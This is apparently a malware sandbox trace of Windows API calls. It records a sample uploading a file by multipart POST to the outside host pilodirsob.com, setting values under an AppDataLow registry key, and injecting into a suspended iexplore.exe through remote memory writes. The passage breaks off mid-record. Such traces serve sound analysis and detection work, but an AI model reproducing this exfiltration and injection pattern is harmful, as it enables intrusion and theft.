lpString2="pilodirsob.com/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp" | out: lpString1="pilodirsob.com/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp") returned="pilodirsob.com/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp" [0214.430] StrChrA (lpStart="pilodirsob.com/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp", wMatch=0x2f) returned="/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp" [0214.430] StrChrA (lpStart="pilodirsob.com/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp", wMatch=0x3f) returned 0x0 [0214.430] lstrlenA (lpString="/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp") returned 261 [0214.430] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x20b) returned 0x9a96110 [0214.430] InternetCanonicalizeUrlA (in: lpszUrl="/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp", lpszBuffer=0x9a96110, lpdwBufferLength=0x9c7f330, dwFlags=0x0 | out: lpszBuffer="/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp", lpdwBufferLength=0x9c7f330) returned 1 [0214.430] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x10000000) returned 0xcc0004 [0214.431] InternetSetStatusCallbackA (hInternet=0xcc0004, lpfnInternetCallback=0x94ce300) returned 0x0 [0214.431] ResetEvent (hEvent=0x6d8) returned 1 [0214.431] InternetConnectA (hInternet=0xcc0004, lpszServerName="pilodirsob.com", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x9b6dc90) returned 0xcc0008 [0214.431] SetEvent (hEvent=0x6d8) returned 1 [0214.431] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/images/VpSwnjfgapjrZm6gIom/TOD75vUMx0nMCen9Uivpm3/5C17VQzgjhR1Y/2RyNWwMc/ubmDPmuEaZgasPIJUIBnukQ/RVFbBOvH6_/2F6abm7B8P2xoLmrb/eNtEQ_2F6FwB/1WdZQWiwsL_/2Bq9YG_2B3mLRZ/t1ISj0P_2Fyy_2FjWUqVh/ijGkia_2BTF3Kwp4/JMZvkFn9bDPuy3c/TnKkY4EZrL7eqh_2FM/_2Fp4Om_2F/KEfjK.bmp", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84c03180, dwContext=0x9b6dc90) returned 0xcc000c [0214.431] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1f, lpBuffer=0x9c7f300, lpdwBufferLength=0x9c7f330 | out: lpBuffer=0x9c7f300, lpdwBufferLength=0x9c7f330) returned 1 [0214.431] InternetSetOptionA (hInternet=0xcc000c, dwOption=0x1f, lpBuffer=0x9c7f300, dwBufferLength=0x4) returned 1 [0214.431] InternetSetOptionA (hInternet=0xcc000c, dwOption=0x6, lpBuffer=0x9c7f358, dwBufferLength=0x4) returned 1 [0214.431] InternetSetOptionA (hInternet=0xcc000c, dwOption=0x5, lpBuffer=0x9c7f358, dwBufferLength=0x4) returned 1 [0214.431] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96110 | out: hHeap=0x9770000) returned 1 [0214.431] GetTickCount () returned 0x40a1d [0214.431] wsprintfA (in: param_1=0x9c7f378, param_2="--------------------------%04x%04x%04x" | out: param_1="--------------------------116b29d116b29d116b29d") returned 47 [0214.431] wsprintfA (in: param_1=0x9c7f3f0, param_2="Content-Type: multipart/form-data; boundary=%s" | out: param_1="Content-Type: multipart/form-data; boundary=--------------------------116b29d116b29d116b29d") returned 91 [0214.431] wsprintfA (in: param_1=0x9c7f3b0, param_2="\r\n--%s--\r\n" | out: param_1="\r\n----------------------------116b29d116b29d116b29d--\r\n") returned 55 [0214.431] lstrlenA (lpString="\r\n----------------------------116b29d116b29d116b29d--\r\n") returned 55 [0214.431] lstrlenA (lpString="Content-Type: multipart/form-data; boundary=--------------------------116b29d116b29d116b29d") returned 91 [0214.432] GetProcAddress (hModule=0x7feff340000, lpProcName="HttpAddRequestHeadersA") returned 0x7feff358070 [0214.432] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Type: multipart/form-data; boundary=--------------------------116b29d116b29d116b29d", dwHeadersLength=0x5b, dwModifiers=0x20000000) returned 1 [0214.432] lstrlenA (lpString="Content-Disposition: form-data; name=\"upload_file\"; filename=\"2855.bin\"") returned 71 [0214.432] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x19a) returned 0x9a6e8e0 [0214.432] wsprintfA (in: param_1=0x9a6e8e0, param_2="--%s\r\n%s\r\n%s\r\n\r\n" | out: param_1="----------------------------116b29d116b29d116b29d\r\nContent-Disposition: form-data; name=\"upload_file\"; filename=\"2855.bin\"\r\nContent-Type: application/octet-stream\r\n\r\n") returned 166 [0214.432] ResetEvent (hEvent=0x6d8) returned 1 [0214.432] ResetEvent (hEvent=0x52c) returned 1 [0214.432] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x9a6e8e0*, dwOptionalLength=0x18d) returned 0 [0214.433] GetLastError () returned 0x3e5 [0214.433] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a94b30 | out: hHeap=0x9770000) returned 1 [0214.433] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9c7f570*=0x6d8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0236.310] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9c7f540*=0x52c, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0236.310] InternetSetStatusCallbackA (hInternet=0xcc000c, lpfnInternetCallback=0x0) returned 0x94ce300 [0236.310] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0236.310] InternetSetStatusCallbackA (hInternet=0xcc0008, lpfnInternetCallback=0x0) returned 0x94ce300 [0236.310] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0236.310] InternetSetStatusCallbackA (hInternet=0xcc0004, lpfnInternetCallback=0x0) returned 0x94ce300 [0236.310] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0236.310] CloseHandle (hObject=0x6d8) returned 1 [0236.310] CloseHandle (hObject=0x52c) returned 1 [0236.310] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e8e0 | out: hHeap=0x9770000) returned 1 [0236.310] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc90 | out: hHeap=0x9770000) returned 1 [0236.310] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e820 | out: hHeap=0x9770000) returned 1 [0236.311] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9c7f5a8 | out: phkResult=0x9c7f5a8*=0x52c) returned 0x0 [0236.311] RegSetValueExA (in: hKey=0x52c, lpValueName="Client", Reserved=0x0, dwType=0x3, lpData=0x9517ba0*, cbData=0x2c | out: lpData=0x9517ba0*) returned 0x0 [0236.311] RegCloseKey (hKey=0x52c) returned 0x0 [0236.311] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a967a0 | out: hHeap=0x9770000) returned 1 [0236.311] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96690 | out: hHeap=0x9770000) returned 1 [0236.311] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0236.311] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc70 | out: hHeap=0x9770000) returned 1 [0236.311] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0236.311] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0236.311] UnmapViewOfFile (lpBaseAddress=0x2a80000) returned 1 [0236.312] CloseHandle (hObject=0x538) returned 1 [0236.312] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x400) returned 0x9770a90 [0236.312] wsprintfA (in: param_1=0x9770a90, param_2="SendFiles status %u\n" | out: param_1="SendFiles status 12029\n") returned 23 [0236.312] lstrlenA (lpString="SendFiles status 12029\n") returned 23 [0236.312] GetSystemTime (in: lpSystemTime=0x9c7f670 | out: lpSystemTime=0x9c7f670*(wYear=0x7e3, wMonth=0x6, wDayOfWeek=0x0, wDay=0x9, wHour=0xf, wMinute=0x8, wSecond=0x1e, wMilliseconds=0x23f)) [0236.312] wsprintfA (in: param_1=0x9c7f660, param_2="%02u:%02u:%02u " | out: param_1="15:08:30 ") returned 9 [0236.312] IStream:Stat (in: This=0x72b44a0, pstatstg=0x9c7f680, grfStatFlag=0x1 | out: pstatstg=0x9c7f680) returned 0x0 [0236.312] IStream:RemoteSeek (in: This=0x72b44a0, dlibMove=0x0, dwOrigin=0x2, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0236.312] ISequentialStream:RemoteWrite (in: This=0x72b44a0, pv=0x9c7f660*=0x31, cb=0x9, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0236.312] ISequentialStream:RemoteWrite (in: This=0x72b44a0, pv=0x9770a90*=0x53, cb=0x17, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0236.312] ISequentialStream:RemoteWrite (in: This=0x72b44a0, pv=0x94ea94c*=0xd, cb=0x2, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0236.312] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770a90 | out: hHeap=0x9770000) returned 1 [0236.312] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0236.312] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96470 | out: hHeap=0x9770000) returned 1 [0236.312] RegCloseKey (hKey=0x5dc) returned 0x0 [0236.312] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x0) returned 0xffffffff [0236.312] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0236.312] WaitForMultipleObjects (nCount=0x4, lpHandles=0x9c7f878*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0236.312] RegNotifyChangeKeyValue (hKey=0xa94, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x5c4, fAsynchronous=1) returned 0x0 [0236.312] RegCreateKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9c7f7f0 | out: phkResult=0x9c7f7f0*=0x5dc) returned 0x0 [0236.312] RegQueryValueExA (in: hKey=0x5dc, lpValueName="Client", lpReserved=0x0, lpType=0x9c7f7e8, lpData=0x9517ba0, lpcbData=0x9c7f7e0*=0x2c | out: lpType=0x9c7f7e8*=0x3, lpData=0x9517ba0*, lpcbData=0x9c7f7e0*=0x2c) returned 0x0 [0236.312] RegCloseKey (hKey=0x5dc) returned 0x0 [0236.313] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9c7f8b0 | out: phkResult=0x9c7f8b0*=0x5dc) returned 0x0 [0236.313] RegQueryValueExA (in: hKey=0x5dc, lpValueName="Exec", lpReserved=0x0, lpType=0x9c7f7b0, lpData=0x0, lpcbData=0x9c7f910*=0x0 | out: lpType=0x9c7f7b0*=0x0, lpData=0x0, lpcbData=0x9c7f910*=0x0) returned 0x2 [0236.313] RegCloseKey (hKey=0x5dc) returned 0x0 [0236.313] WaitForMultipleObjects (nCount=0x4, lpHandles=0x9c7f878*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0236.313] RegNotifyChangeKeyValue (hKey=0xa94, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x5c4, fAsynchronous=1) returned 0x0 [0236.313] RegCreateKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9c7f7f0 | out: phkResult=0x9c7f7f0*=0x5dc) returned 0x0 [0236.313] RegQueryValueExA (in: hKey=0x5dc, lpValueName="Client", lpReserved=0x0, lpType=0x9c7f7e8, lpData=0x9517ba0, lpcbData=0x9c7f7e0*=0x2c | out: lpType=0x9c7f7e8*=0x3, lpData=0x9517ba0*, lpcbData=0x9c7f7e0*=0x2c) returned 0x0 [0236.313] RegCloseKey (hKey=0x5dc) returned 0x0 [0236.313] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x9c7f8b0 | out: phkResult=0x9c7f8b0*=0x5dc) returned 0x0 [0236.313] RegQueryValueExA (in: hKey=0x5dc, lpValueName="Exec", lpReserved=0x0, lpType=0x9c7f7b0, lpData=0x0, lpcbData=0x9c7f910*=0x0 | out: lpType=0x9c7f7b0*=0x0, lpData=0x0, lpcbData=0x9c7f910*=0x0) returned 0x2 [0236.313] RegCloseKey (hKey=0x5dc) returned 0x0 [0236.313] WaitForMultipleObjects (nCount=0x4, lpHandles=0x9c7f878*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0236.313] WaitForSingleObject (hHandle=0x8c0, dwMilliseconds=0x0) returned 0x0 [0236.313] SetWaitableTimer (hTimer=0x8c0, lpDueTime=0x9c7f918, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0236.313] WaitForSingleObject (hHandle=0x1194, dwMilliseconds=0x0) returned 0x102 [0236.313] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x0) returned 0xffffffff [0236.313] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0236.313] WaitForMultipleObjects (nCount=0x4, lpHandles=0x9c7f878*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x3 [0401.541] WaitForSingleObject (hHandle=0x8c0, dwMilliseconds=0x0) returned 0x102 [0401.542] WaitForSingleObject (hHandle=0x1194, dwMilliseconds=0x0) returned 0x102 [0401.542] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x0) returned 0xffffffff [0401.542] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0401.542] WaitForMultipleObjects (nCount=0x4, lpHandles=0x9c7f878*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x3 [0701.545] WaitForSingleObject (hHandle=0x8c0, dwMilliseconds=0x0) returned 0x102 [0701.545] WaitForSingleObject (hHandle=0x1194, dwMilliseconds=0x0) returned 0x102 [0701.545] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x0) returned 0xffffffff [0701.545] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0701.545] WaitForMultipleObjects (nCount=0x4, lpHandles=0x9c7f878*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0836.324] WaitForSingleObject (hHandle=0x8c0, dwMilliseconds=0x0) returned 0x0 [0836.324] SetWaitableTimer (hTimer=0x8c0, lpDueTime=0x9c7f918, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0836.324] WaitForSingleObject (hHandle=0x1194, dwMilliseconds=0x0) returned 0x102 [0836.324] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x0) returned 0xffffffff [0836.324] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0836.324] WaitForMultipleObjects (nCount=0x4, lpHandles=0x9c7f878*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 51 os_tid = 0xb50 [0063.650] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="PathFindFileNameW") returned 0x7fefd5d3920 [0063.650] PathFindFileNameW (pszPath="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="iexplore.exe" [0063.651] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrChrW") returned 0x7fefd5cfa50 [0063.651] StrChrW (lpStart="iexplore.exe", wMatch=0x20) returned 0x0 [0063.651] StrChrW (lpStart="iexplore.exe", wMatch=0x22) returned 0x0 [0063.651] lstrlenW (lpString="iexplore.exe") returned 12 [0063.651] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1a) returned 0x9b6dc30 [0063.651] _wcsupr (in: _String=0x9b6dc30 | out: _String="IEXPLORE.EXE") returned="IEXPLORE.EXE" [0063.651] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0063.651] CreateProcessW (in: lpApplicationName="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpCommandLine="\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4080414, lpEnvironment=0x4457620, lpCurrentDirectory="C:\\Users\\aETAdzjz", lpStartupInfo=0x9ebe060*(cb=0x70, lpReserved=0x0, lpDesktop=0x0, lpTitle="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x801, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x72db988 | out: lpCommandLine="\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" ", lpProcessInformation=0x72db988*(hProcess=0x1178, hThread=0x1140, dwProcessId=0xb54, dwThreadId=0xb58)) returned 1 [0063.794] IsWow64Process (in: hProcess=0x1178, Wow64Process=0x9ebd9a0 | out: Wow64Process=0x9ebd9a0) returned 1 [0063.803] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1000) returned 0x9a90820 [0063.803] NtQueryInformationProcess (in: ProcessHandle=0x1178, ProcessInformationClass=0x0, ProcessInformation=0x9ebd6c8, ProcessInformationLength=0x30, ReturnLength=0x9ebd9a8 | out: ProcessInformation=0x9ebd6c8, ReturnLength=0x9ebd9a8) returned 0x0 [0063.803] NtReadVirtualMemory (in: ProcessHandle=0x1178, BaseAddress=0x7efdf000, Buffer=0x9ebd700, NumberOfBytesToRead=0x268, NumberOfBytesRead=0x9ebd9a8 | out: Buffer=0x9ebd700*, NumberOfBytesRead=0x9ebd9a8*=0x268) returned 0x0 [0063.803] NtReadVirtualMemory (in: ProcessHandle=0x1178, BaseAddress=0xd60000, Buffer=0x9a90820, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x9ebd9a0 | out: Buffer=0x9a90820*, NumberOfBytesRead=0x9ebd9a0*=0x1000) returned 0x0 [0063.803] NtReadVirtualMemory (in: ProcessHandle=0x1178, BaseAddress=0xd600f8, Buffer=0x9a90820, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x9ebd9a0 | out: Buffer=0x9a90820*, NumberOfBytesRead=0x9ebd9a0*=0x1000) returned 0x0 [0063.804] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a90820 | out: hHeap=0x9770000) returned 1 [0063.805] NtReadVirtualMemory (in: ProcessHandle=0x1178, BaseAddress=0xd61c9a, Buffer=0x9ebd9c0, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x9ebd9c8 | out: Buffer=0x9ebd9c0*, NumberOfBytesRead=0x9ebd9c8*=0x4) returned 0x0 [0063.805] VirtualProtectEx (in: hProcess=0x1178, lpAddress=0xd61c9a, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x9ebdee8 | out: lpflOldProtect=0x9ebdee8*=0x20) returned 1 [0063.857] NtWriteVirtualMemory (in: ProcessHandle=0x1178, BaseAddress=0xd61c9a, Buffer=0x9ebdef8*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x9ebd970 | out: Buffer=0x9ebdef8*, NumberOfBytesWritten=0x9ebd970*=0x4) returned 0x0 [0063.861] VirtualProtectEx (in: hProcess=0x1178, lpAddress=0xd61c9a, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x9ebdee8 | out: lpflOldProtect=0x9ebdee8*=0x40) returned 1 [0063.861] ResumeThread (hThread=0x1140) returned 0x1 [0063.861] Sleep (dwMilliseconds=0x64) [0063.960] SuspendThread (hThread=0x1140) returned 0x0 [0063.961] NtGetContextThread (in: ThreadHandle=0x1140, Context=0x9ebd9d0 | out: Context=0x9ebd9d0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x76ea662c, Rcx=0x15c000, Rdx=0x76dc6700, Rbx=0x76ea662c, Rsp=0x26f8b4, Rbp=0x26f8c0, Rsi=0x5ff218, Rdi=0x5ff228, R8=0x2b, R9=0x7735fd35, R10=0x0, R11=0x246, R12=0x7efdb000, R13=0x9fd20, R14=0x9ec50, R15=0x747b2450, Rip=0x7737dccf, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, 